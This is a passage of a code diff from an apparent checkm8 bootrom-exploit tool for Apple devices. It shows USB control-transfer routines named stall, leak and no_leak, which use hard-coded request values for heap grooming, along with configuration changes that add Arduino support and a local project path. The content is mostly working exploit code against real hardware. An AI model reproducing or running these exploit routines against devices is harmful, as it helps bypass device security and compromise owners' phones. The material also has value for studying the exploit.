checkm8_debug_indent("\tgot error %s but ignoring\n", libusb_error_name(ret));
|
||||
return CHECKM8_SUCCESS;
|
||||
#endif
|
||||
}
|
||||
|
||||
int ctrl_transfer(struct pwned_device *dev,
|
||||
unsigned char bmRequestType, unsigned char bRequest,
|
||||
unsigned short wValue, unsigned short wIndex,
|
||||
unsigned char *data, unsigned short data_len,
|
||||
unsigned int timeout)
|
||||
{
|
||||
#ifdef WITH_ARDUINO
|
||||
// TODO
|
||||
#else
|
||||
return libusb_control_transfer(dev->bundle->handle,
|
||||
bmRequestType, bRequest,
|
||||
wValue, wIndex,
|
||||
data, data_len,
|
||||
timeout);
|
||||
#endif
|
||||
}
|
||||
|
||||
static unsigned char data_0xA_0xC0_buf[192] =
|
||||
@@ -273,36 +355,36 @@ static unsigned char data_0x0_0xC0_buf[192] =
|
||||
|
||||
int stall(struct pwned_device *dev)
|
||||
{
|
||||
return libusb1_async_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
|
||||
return partial_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
|
||||
}
|
||||
|
||||
int leak(struct pwned_device *dev)
|
||||
{
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1);
|
||||
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int no_leak(struct pwned_device *dev)
|
||||
{
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1);
|
||||
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int usb_req_stall(struct pwned_device *dev)
|
||||
{
|
||||
unsigned char data[0];
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
|
||||
no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int usb_req_leak(struct pwned_device *dev)
|
||||
{
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
|
||||
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int usb_req_no_leak(struct pwned_device *dev)
|
||||
{
|
||||
libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
|
||||
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
@@ -3,6 +3,10 @@
|
||||
|
||||
//#define LIBUSB_LOGGING
|
||||
#define CHECKM8_LOGGING
|
||||
#define WITH_ARDUINO
|
||||
#define ARDUINO_DEV "/dev/ttyACM0"
|
||||
#define ARDUINO_BAUD B115200
|
||||
|
||||
#define CHECKM8_PLATFORM 8010
|
||||
#define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_remote/bin/"
|
||||
|
||||
|
||||
Reference in New Issue
Block a user